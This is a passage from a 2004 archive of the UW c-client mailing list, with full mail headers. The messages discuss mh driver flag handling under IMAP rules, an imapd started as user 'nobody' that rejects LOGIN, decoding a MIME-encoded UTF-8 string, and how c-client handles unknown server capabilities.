Jun 2004 09:42:47 -0700 Received: from localhost (mrc@localhost) by shiva0.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i5BGgldT021994; Fri, 11 Jun 2004 09:42:47 -0700 Message-Id: Date: Fri, 11 Jun 2004 09:42:47 -0700 (PDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: "Tomas Pospisek's Mailing Lists" Cc: c-client@u.washington.edu Subject: Re: mh not keeping flags intact when doing a check In-Reply-To: References: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed X-Uwash-Spam: Gauge=IIIIIIII, Probability=8%, Report='__HAS_MSGID 0, __SANE_MSGID 0, __TO_MALFORMED_2 0, __IN_REP_TO 0, __REFERENCES 0, __MIME_VERSION 0, __CT_TEXT_PLAIN 0, __CT 0, EMAIL_ATTRIBUTION 0, QUOTED_EMAIL_TEXT 0, __MIME_TEXT_ONLY 0, __DCC_BODY 0, __DCC_FUZ1 0, __DCC_FUZ2 0, DCC_BULK_LOW 0, REFERENCES 0.000, IN_REP_TO 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Fri, 11 Jun 2004, Tomas Pospisek's Mailing Lists wrote: > *Is* the mh driver "strictly IMAP semantics compiant" right now? Is the > fact that a) it forgets about all the flags and b) when reusing an open > connection it just forgets about all the deleted messages "strictly IMAP > semantics compliant"? Yes and yes. It properly advertises the mailbox as not having any PERMANENTFLAGS. Your client should have observed the empty PERMANENTFLAGS list and taken appropropriate action. > Would it make the situation worse to fix that behaveour? Yes. Read the mh specification carefully, and pay close attention to the requirements in RFC 3501 section 3.1. It will probably also help to look at some mh source code (which I did when I wrote the mh driver). The answer to your request is not a "no" that becomes a "yes" if you ask enough times. The answer is a "no" that will always be a "no". You might "fix" it, and it might even work in your client. But presently it will break some other client. Sad experience tells me that the blame for that breakage will first be attributed to that client, and then by the author of that client to UW imapd, and only after long investigation (typically an incredible amount of time wasted by me) to your "fix". -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. Si vis pacem, para bellum. From pinedev@shivax2.cac.washington.edu Fri Jun 11 11:29:55 2004 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Fri, 11 Jun 2004 11:29:55 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i5BITteq015805 for ; Fri, 11 Jun 2004 11:29:55 -0700 Received: from list3.u.washington.edu (list3.u.washington.edu [140.142.8.100]) by mx2.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i5BITrMn017657 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Fri, 11 Jun 2004 11:29:53 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list3.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.05) with SMTP id i5BIRw8J011892; Fri, 11 Jun 2004 11:27:58 -0700 Received: from mxe5.u.washington.edu (mxe5.u.washington.edu [140.142.32.168]) by lists.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.05) with ESMTP id i5BIR5wa085446 for ; Fri, 11 Jun 2004 11:27:05 -0700 Received: from mail1.bluewin.ch (mail1.bluewin.ch [195.186.1.74]) by mxe5.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i5BIR0aV010922 for ; Fri, 11 Jun 2004 11:27:00 -0700 Received: from localhost (83.77.82.203) by mail1.bluewin.ch (Bluewin AG 7.0.028) id 40BC705C00185FA8; Fri, 11 Jun 2004 18:26:56 +0000 Received: from tpo2 (helo=localhost) by localhost with local-esmtp (Exim 3.36 #1 (Debian)) id 1BYqjw-00034U-00; Fri, 11 Jun 2004 20:26:56 +0200 Message-Id: Date: Fri, 11 Jun 2004 20:26:56 +0200 (CEST) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: "Tomas Pospisek's Mailing Lists" To: Mark Crispin Cc: c-client@u.washington.edu Subject: Re: mh not keeping flags intact when doing a check In-Reply-To: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-X-Sender: tpo2@localhost X-Uwash-Spam: Gauge=IIIIIIII, Probability=8%, Report='__HAS_MSGID 0, __SANE_MSGID 0, __TO_MALFORMED_2 0, __IN_REP_TO 0, __MIME_VERSION 0, __CT_TEXT_PLAIN 0, __CT 0, EMAIL_ATTRIBUTION 0, QUOTED_EMAIL_TEXT 0, SIGNATURE_SHORT_DENSE 0, __MIME_TEXT_ONLY 0, __DCC_BODY 0, __DCC_FUZ1 0, __DCC_FUZ2 0, DCC_BULK_LOW 0, IN_REP_TO 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Fri, 11 Jun 2004, Mark Crispin wrote: > On Fri, 11 Jun 2004, Tomas Pospisek's Mailing Lists wrote: > > *Is* the mh driver "strictly IMAP semantics compiant" right now? Is the > > fact that a) it forgets about all the flags and b) when reusing an open > > connection it just forgets about all the deleted messages "strictly IMAP > > semantics compliant"? > > Yes and yes. It properly advertises the mailbox as not having any > PERMANENTFLAGS. Your client should have observed the empty PERMANENTFLAGS > list and taken appropropriate action. > > > Would it make the situation worse to fix that behaveour? > > Yes. Read the mh specification carefully, and pay close attention to the > requirements in RFC 3501 section 3.1. It will probably also help to look > at some mh source code (which I did when I wrote the mh driver). > > The answer to your request is not a "no" that becomes a "yes" if you ask > enough times. The answer is a "no" that will always be a "no". > > You might "fix" it, and it might even work in your client. But presently > it will break some other client. Sad experience tells me that the blame > for that breakage will first be attributed to that client, and then by the > author of that client to UW imapd, and only after long investigation > (typically an incredible amount of time wasted by me) to your "fix". Thanks for the answer *t -- ----------------------------------------------------------- Tomas Pospisek http://sourcepole.com - Linux & Open Source Solutions ----------------------------------------------------------- From pinedev@shivax2.cac.washington.edu Mon Jun 14 13:26:34 2004 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Mon, 14 Jun 2004 13:26:34 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i5EKQYvb029948 for ; Mon, 14 Jun 2004 13:26:34 -0700 Received: from list2.u.washington.edu (list2.u.washington.edu [140.142.14.165]) by mx1.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i5EKQNxu006484 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Mon, 14 Jun 2004 13:26:24 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list2.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.05) with SMTP id i5EKL643015338; Mon, 14 Jun 2004 13:21:07 -0700 Received: from mxe7.u.washington.edu (mxe7.u.washington.edu [140.142.32.169]) by lists.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.05) with ESMTP id i5EKJRum095554 for ; Mon, 14 Jun 2004 13:19:27 -0700 Received: from colossus.systems.pipex.net (colossus.systems.pipex.net [62.241.160.73]) by mxe7.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i5EKJQIv030326 for ; Mon, 14 Jun 2004 13:19:26 -0700 Received: from wupert (81-86-246-91.dsl.pipex.com [81.86.246.91]) by colossus.systems.pipex.net (Postfix) with SMTP id A24611C00094 for ; Mon, 14 Jun 2004 21:19:25 +0100 (BST) Message-Id: <003e01c4524c$e35ad730$0100a8c0@wupert> Date: Mon, 14 Jun 2004 21:19:24 +0100 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: "unknown" To: Subject: Fw: LOGIN COMMAND MISSING MIME-Version: 1.0 Content-Type: multipart/alternative; boundary="----=_NextPart_000_003B_01C45255.44974A80" X-Priority: 3 X-MSMail-Priority: Normal X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1409 X-Uwash-Spam: Gauge=XIII, Probability=13%, Report='PRIORITY_NO_NAME 0.716, UPPERCASE_25_50 0.450, HTML_50_70 0.092, SUPERLONG_LINE 0.003, OUTLOOK_FW_MSG 0.000, __MIME_VERSION 0, __CTYPE_MULTIPART_ALT 0, __EVITE_CTYPE 0, __NEXTPART_ALL 0, __CT 0, __CTYPE_HAS_BOUNDARY 0, __CTYPE_MULTIPART 0, __NEXTPART_NORMAL 0, __HAS_X_PRIORITY 0, __HAS_MSMAIL_PRI 0, __HAS_MIMEOLE 0, __UPPERCASE_25_50 0, __HAS_MSGID 0, __TAG_EXISTS_BODY 0, __MIME_HTML 0, __TAG_EXISTS_HEAD 0, __TAG_EXISTS_META 0, __TAG_EXISTS_HTML 0, __OUTLOOK_MSGID_1 0, __DCC_BODY 0, __DCC_FUZ1 0, __DCC_FUZ2 0, DCC_BULK_LOW 0, __SANE_MSGID 0, __TO_MALFORMED_2 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN This is a multi-part message in MIME format. ------=_NextPart_000_003B_01C45255.44974A80 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable ****** * PREAUTH [CAPABILITY IMAP4REV1 IDLE NAMESPACE MAILBOX-REFERRALS BINARY = UNSELECT SCAN SORT THREAD=3DREFERENCES THREAD=3DORDEREDSUBJECT = MULTIAPPEND] Pre-authenticated user nobody localhost.localdomain = IMAP4rev1 2003.338rh at Mon, 14 Jun 2004 21:05:27 +0100 (BST) LOGIN LOGIN BAD Missing command I want to be able to use LOGIN, i haven't told it to pre-authenticate as = anyone. Especially 'nobody', that's useless isn't it? I want to be able to use squirrelmail to login to my local mailbox but I = get the LOGIN missing command that has been mentioned on the list before I've tried editing /etc/c-client.cf with the trigger line and set = disable-plaintext 0 but that hasn't helped The list here is my last resort ## Insert Slightly Modified Body Here H ------=_NextPart_000_003B_01C45255.44974A80 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable
    ******
    * PREAUTH [CAPABILITY IMAP4REV1 IDLE = NAMESPACE=20 MAILBOX-REFERRALS BINARY UNSELECT SCAN SORT THREAD=3DREFERENCES=20 THREAD=3DORDEREDSUBJECT MULTIAPPEND] Pre-authenticated user nobody=20 localhost.localdomain IMAP4rev1 2003.338rh at Mon, 14 Jun 2004 21:05:27 = +0100=20 (BST)
    LOGIN
    LOGIN BAD Missing command
     
    I want to be able to use LOGIN, i = haven't told it=20 to pre-authenticate as anyone. Especially 'nobody', that's useless isn't = it?
     
    I want to be able to use squirrelmail = to login to=20 my local mailbox but I get the LOGIN missing command that has been = mentioned on=20 the list before
     
    I've tried editing /etc/c-client.cf = with the=20 trigger line and set disable-plaintext 0 but that hasn't = helped
     
    The list here is my last = resort
     
    ## Insert Slightly Modified Body = Here
     
    H
    ------=_NextPart_000_003B_01C45255.44974A80-- -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Mon Jun 14 13:41:59 2004 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Mon, 14 Jun 2004 13:41:58 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i5EKfwvO031228 for ; Mon, 14 Jun 2004 13:41:58 -0700 Received: from list1.u.washington.edu (list1.u.washington.edu [140.142.8.99]) by mx1.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i5EKfqDt007149 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Mon, 14 Jun 2004 13:41:53 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.05) with SMTP id i5EKbNSo011440; Mon, 14 Jun 2004 13:37:23 -0700 Received: from mxu8.u.washington.edu (mxu8.u.washington.edu [140.142.32.142]) by lists.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.05) with ESMTP id i5EKa2Sv105334 for ; Mon, 14 Jun 2004 13:36:02 -0700 Received: from mxout3.cac.washington.edu (mxout3.cac.washington.edu [140.142.32.166]) by mxu8.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.05) with ESMTP id i5EKa1EV021395 for ; Mon, 14 Jun 2004 13:36:01 -0700 Received: from smtp.washington.edu (smtp.washington.edu [140.142.32.139]) by mxout3.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i5EKa05b026592; Mon, 14 Jun 2004 13:36:00 -0700 Received: from Tomobiki-Cho.CAC.Washington.EDU (tomobiki-cho.cac.washington.edu [128.95.135.58]) (authenticated bits=0) by smtp.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i5EKa0RZ002196 (version=TLSv1/SSLv3 cipher=RC4-MD5 bits=128 verify=NOT); Mon, 14 Jun 2004 13:36:00 -0700 Message-Id: Date: Mon, 14 Jun 2004 13:36:01 -0700 (Pacific Daylight Time) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: unknown Cc: c-client@u.washington.edu Subject: Re: Fw: LOGIN COMMAND MISSING In-Reply-To: <003e01c4524c$e35ad730$0100a8c0@wupert> References: <003e01c4524c$e35ad730$0100a8c0@wupert> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed X-Sender: mrc@ndcms.cac.washington.edu X-Uwash-Spam: Gauge=IIIIIIIII, Probability=9%, Report='UPPERCASE_25_50 0.450, SUPERLONG_LINE 0.003, __TO_MALFORMED_2 0, OUTLOOK_FW_MSG 0.000, __IN_REP_TO 0, __REFERENCES 0, __MIME_VERSION 0, __CT_TEXT_PLAIN 0, __CT 0, __UPPERCASE_25_50 0, EMAIL_ATTRIBUTION 0, __HAS_MSGID 0, __MIME_TEXT_ONLY 0, __DCC_BODY 0, __DCC_FUZ1 0, __DCC_FUZ2 0, DCC_BULK_LOW 0, __SANE_MSGID 0, REFERENCES 0.000, IN_REP_TO 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Mon, 14 Jun 2004, unknown wrote: > * PREAUTH [CAPABILITY IMAP4REV1 IDLE NAMESPACE MAILBOX-REFERRALS BINARY UNSELECT SCAN SORT THREAD=REFERENCES THREAD=ORDEREDSUBJECT MULTIAPPEND] Pre-authenticated user nobody localhost.localdomain IMAP4rev1 2003.338rh at Mon, 14 Jun 2004 21:05:27 +0100 (BST) > LOGIN > LOGIN BAD Missing command Your [x]inetd configuration has been set to start imapd as userid nobody. Like any other daemon which needs to log itself in, imapd must be started as root. -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. Si vis pacem, para bellum. From pinedev@shivax2.cac.washington.edu Thu Jun 17 07:45:39 2004 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Thu, 17 Jun 2004 07:45:39 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i5HEjdGh023900 for ; Thu, 17 Jun 2004 07:45:39 -0700 Received: from list1.u.washington.edu (list1.u.washington.edu [140.142.8.99]) by mx1.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i5HEjasI007669 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Thu, 17 Jun 2004 07:45:37 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.05) with SMTP id i5HEhxGm013102; Thu, 17 Jun 2004 07:43:59 -0700 Received: from mxe1.u.washington.edu (mxe1.u.washington.edu [140.142.32.136]) by lists.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.05) with ESMTP id i5HEevwO112618 for ; Thu, 17 Jun 2004 07:40:57 -0700 Received: from mail.bynari.net (gw1.bynari.net [216.234.228.98]) by mxe1.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i5HEet2g025735 for ; Thu, 17 Jun 2004 07:40:55 -0700 Received: from mail.bynari.net (localhost [127.0.0.1]) by bynari.net (Postfix) with ESMTP id E43191E00D7 for ; Thu, 17 Jun 2004 09:40:54 -0500 (CDT) Received: by mail.bynari.net (Postfix, from userid 1001) id 8C1481E00DB; Thu, 17 Jun 2004 09:40:54 -0500 (CDT) Received: from redhook.bynari.net (redhook.bynari.net [192.168.3.111]) by mail.bynari.net (Postfix) with ESMTP id D1B781E00D7 for ; Thu, 17 Jun 2004 09:40:53 -0500 (CDT) Message-Id: Date: Thu, 17 Jun 2004 09:40:52 -0500 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: "Shawn Walker" To: c-client@u.washington.edu Subject: Decode UTF-8 (and other) strings In-Reply-To: References: Content-Type: text/plain; format=flowed; delsp=yes; charset=iso-8859-15 MIME-Version: 1.0 Content-Transfer-Encoding: 8bit X-Spam-Checker-Version: SpamAssassin 2.61 (1.212.2.1-2003-12-09-exp) on mail.bynari.net X-Spam-Level: X-Spam-Status: No, hits=-4.9 required=5.0 tests=BAYES_00 autolearn=ham version=2.61 X-Antivirus: Scanned by F-Prot Antivirus (http://www.f-prot.com) X-Uwash-Spam: Gauge=IIIIIIII, Probability=8%, Report='__HAS_MSGID 0, __SANE_MSGID 0, __TO_MALFORMED_2 0, __IN_REP_TO 0, __REFERENCES 0, __EVITE_CTYPE 0, __CT_TEXT_PLAIN 0, __CT 0, __MIME_VERSION 0, __CTE 0, SIGNATURE_SHORT_DENSE 0, __MIME_TEXT_ONLY 0, __DCC_BODY 0, __DCC_FUZ1 0, __DCC_FUZ2 0, DCC_BULK_LOW 0, REFERENCES 0.000, IN_REP_TO 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN I'm trying to use the utf8_mime2text() to convert a UTF-8 string to text. The sample string that I'm trying to convert is: =?UTF-8?Q?Us=C3=A9r T=C3=A9st?= The string translate to "Usér Tést". mime2_text() is returning NIL because there is a space in the string. What is the correct method of decoding the strings? I'm using imap-2004. Thanks, Shawn -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Thu Jun 17 10:34:49 2004 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Thu, 17 Jun 2004 10:34:49 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i5HHYnNW031707 for ; Thu, 17 Jun 2004 10:34:49 -0700 Received: from list4.u.washington.edu (list4.u.washington.edu [140.142.14.167]) by mx2.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i5HHYlFR018526 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Thu, 17 Jun 2004 10:34:47 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.05) with SMTP id i5HHXAx9005154; Thu, 17 Jun 2004 10:33:10 -0700 Received: from mxe7.u.washington.edu (mxe7.u.washington.edu [140.142.32.169]) by lists.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.05) with ESMTP id i5HHVle8066330 for ; Thu, 17 Jun 2004 10:31:47 -0700 Received: from mail.bynari.net (gw1.bynari.net [216.234.228.98]) by mxe7.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i5HHVg6Y028590 for ; Thu, 17 Jun 2004 10:31:43 -0700 Received: from mail.bynari.net (localhost [127.0.0.1]) by bynari.net (Postfix) with ESMTP id 6BA5F1E00CC for ; Thu, 17 Jun 2004 12:31:42 -0500 (CDT) Received: by mail.bynari.net (Postfix, from userid 1001) id 121201E00D5; Thu, 17 Jun 2004 12:31:42 -0500 (CDT) Received: from redhook.bynari.net (redhook.bynari.net [192.168.3.111]) by mail.bynari.net (Postfix) with ESMTP id 659C91E00CC for ; Thu, 17 Jun 2004 12:31:41 -0500 (CDT) Message-Id: Date: Thu, 17 Jun 2004 12:31:40 -0500 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: "Shawn Walker" To: c-client@u.washington.edu Subject: 3rd Party CAPABILITY Strings In-Reply-To: References: Content-Type: text/plain; format=flowed; delsp=yes; charset=iso-8859-15 MIME-Version: 1.0 Content-Transfer-Encoding: 8bit X-Spam-Checker-Version: SpamAssassin 2.61 (1.212.2.1-2003-12-09-exp) on mail.bynari.net X-Spam-Level: X-Spam-Status: No, hits=-4.9 required=5.0 tests=BAYES_00 autolearn=ham version=2.61 X-Antivirus: Scanned by F-Prot Antivirus (http://www.f-prot.com) X-Uwash-Spam: Gauge=IIIIIIII, Probability=8%, Report='__HAS_MSGID 0, __SANE_MSGID 0, __TO_MALFORMED_2 0, __IN_REP_TO 0, __REFERENCES 0, __EVITE_CTYPE 0, __CT_TEXT_PLAIN 0, __CT 0, __MIME_VERSION 0, __CTE 0, SIGNATURE_SHORT_DENSE 0, __MIME_TEXT_ONLY 0, __DCC_BODY 0, __DCC_FUZ1 0, __DCC_FUZ2 0, DCC_BULK_LOW 0, REFERENCES 0.000, IN_REP_TO 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN How does c-client handle 3rd party CAPABILITY strings from the IMAP server? What I mean is what if there is a CAPABILITY string "X-SUPPORT-SOMETHING"? Thanks, Shawn -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Thu Jun 17 10:46:39 2004 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Thu, 17 Jun 2004 10:46:39 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i5HHkddv032489 for ; Thu, 17 Jun 2004 10:46:39 -0700 Received: from list3.u.washington.edu (list3.u.washington.edu [140.142.8.100]) by mx1.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i5HHkbMD016631 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Thu, 17 Jun 2004 10:46:37 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list3.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.05) with SMTP id i5HHj1r7003744; Thu, 17 Jun 2004 10:45:02 -0700 Received: from mxu8.u.washington.edu (mxu8.u.washington.edu [140.142.32.142]) by lists.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.05) with ESMTP id i5HHiBFp124756 for ; Thu, 17 Jun 2004 10:44:11 -0700 Received: from mxout5.cac.washington.edu (mxout5.cac.washington.edu [140.142.32.135]) by mxu8.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.05) with ESMTP id i5HHiAV6003011 for ; Thu, 17 Jun 2004 10:44:10 -0700 Received: from smtp.washington.edu (smtp.washington.edu [140.142.32.139]) by mxout5.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i5HHi9X1028638; Thu, 17 Jun 2004 10:44:09 -0700 Received: from Kami-Tomobiki.Panda.COM (panda.com [206.124.149.114]) (authenticated bits=0) by smtp.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i5HHi3P0005689 (version=TLSv1/SSLv3 cipher=RC4-MD5 bits=128 verify=NOT); Thu, 17 Jun 2004 10:44:08 -0700 Message-Id: Date: Thu, 17 Jun 2004 10:43:27 -0700 (Pacific Daylight Time) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Shawn Walker Cc: c-client@u.washington.edu Subject: Re: 3rd Party CAPABILITY Strings In-Reply-To: References: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed X-Sender: mrc@ndcms.cac.washington.edu X-Uwash-Spam: Gauge=IIIIIIII, Probability=8%, Report='__HAS_MSGID 0, __SANE_MSGID 0, __TO_MALFORMED_2 0, __IN_REP_TO 0, __REFERENCES 0, __MIME_VERSION 0, __CT_TEXT_PLAIN 0, __CT 0, EMAIL_ATTRIBUTION 0, __MIME_TEXT_ONLY 0, __DCC_BODY 0, __DCC_FUZ1 0, __DCC_FUZ2 0, DCC_BULK_LOW 0, REFERENCES 0.000, IN_REP_TO 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Thu, 17 Jun 2004, Shawn Walker wrote: > How does c-client handle 3rd party CAPABILITY strings from the IMAP server? > What I mean is what if there is a CAPABILITY string "X-SUPPORT-SOMETHING"? Capabilities not known to c-client are ignored. -- Mark -- http://panda.com/mrc Democracy is two wolves and a sheep deciding what to eat for lunch. Liberty is a well-armed sheep contesting the vote. From pinedev@shivax2.cac.washington.edu Thu Jun 17 10:57:42 2004 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Thu, 17 Jun 2004 10:57:42 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i5HHvgO1000542 for ; Thu, 17 Jun 2004 10:57:42 -0700 Received: from list1.u.washington.edu (list1.u.washington.edu [140.142.8.99]) by mx2.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i5HHvetj019586 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Thu, 17 Jun 2004 10:57:40 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.05) with SMTP id i5HHu4kh018624; Thu, 17 Jun 2004 10:56:05 -0700 Received: from mxe1.u.washington.edu (mxe1.u.washington.edu [140.142.32.136]) by lists.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.05) with ESMTP id i5HHtPW8117338 for ; Thu, 17 Jun 2004 10:55:25 -0700 Received: from mail.bynari.net (gw1.bynari.net [216.234.228.98]) by mxe1.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i5HHtOnB013056 for ; Thu, 17 Jun 2004 10:55:24 -0700 Received: from mail.bynari.net (localhost [127.0.0.1]) by bynari.net (Postfix) with ESMTP id C5BD21E00D5; Thu, 17 Jun 2004 12:55:23 -0500 (CDT) Received: by mail.bynari.net (Postfix, from userid 1001) id 696451E00E4; Thu, 17 Jun 2004 12:55:23 -0500 (CDT) Received: from redhook.bynari.net (redhook.bynari.net [192.168.3.111]) by mail.bynari.net (Postfix) with ESMTP id 881531E00D5; Thu, 17 Jun 2004 12:55:22 -0500 (CDT) Message-Id: Date: Thu, 17 Jun 2004 12:55:21 -0500 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: "Shawn Walker" To: "Mark Crispin" Cc: c-client@u.washington.edu Subject: Re: 3rd Party CAPABILITY Strings In-Reply-To: References: Content-Type: text/plain; format=flowed; delsp=yes; charset=iso-8859-15 MIME-Version: 1.0 Content-Transfer-Encoding: 8bit X-Spam-Checker-Version: SpamAssassin 2.61 (1.212.2.1-2003-12-09-exp) on mail.bynari.net X-Spam-Level: X-Spam-Status: No, hits=-4.9 required=5.0 tests=BAYES_00 autolearn=ham version=2.61 X-Antivirus: Scanned by F-Prot Antivirus (http://www.f-prot.com) X-Uwash-Spam: Gauge=IIIIIIII, Probability=8%, Report='__HAS_MSGID 0, __SANE_MSGID 0, __TO_MALFORMED_2 0, __IN_REP_TO 0, __REFERENCES 0, __EVITE_CTYPE 0, __CT_TEXT_PLAIN 0, __CT 0, __MIME_VERSION 0, __CTE 0, QUOTED_EMAIL_TEXT 0, __MIME_TEXT_ONLY 0, __DCC_BODY 0, __DCC_FUZ1 0, __DCC_FUZ2 0, DCC_BULK_LOW 0, REFERENCES 0.000, IN_REP_TO 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Thu, 17 Jun 2004 10:43:27 -0700 (Pacific Daylight Time), Mark Crispin wrote: > On Thu, 17 Jun 2004, Shawn Walker wrote: >> How does c-client handle 3rd party CAPABILITY strings from the IMAP >> server? What I mean is what if there is a CAPABILITY string >> "X-SUPPORT-SOMETHING"? > > Capabilities not known to c-client are ignored. Well, I guess I will have to modify c-client to either store the unknown capabilities to mail_stream or make a mm_capability() to pass unknown capability then. From pinedev@shivax2.cac.washington.edu Thu Jun 17 11:52:20 2004 -0700 Return-Path: Received: via 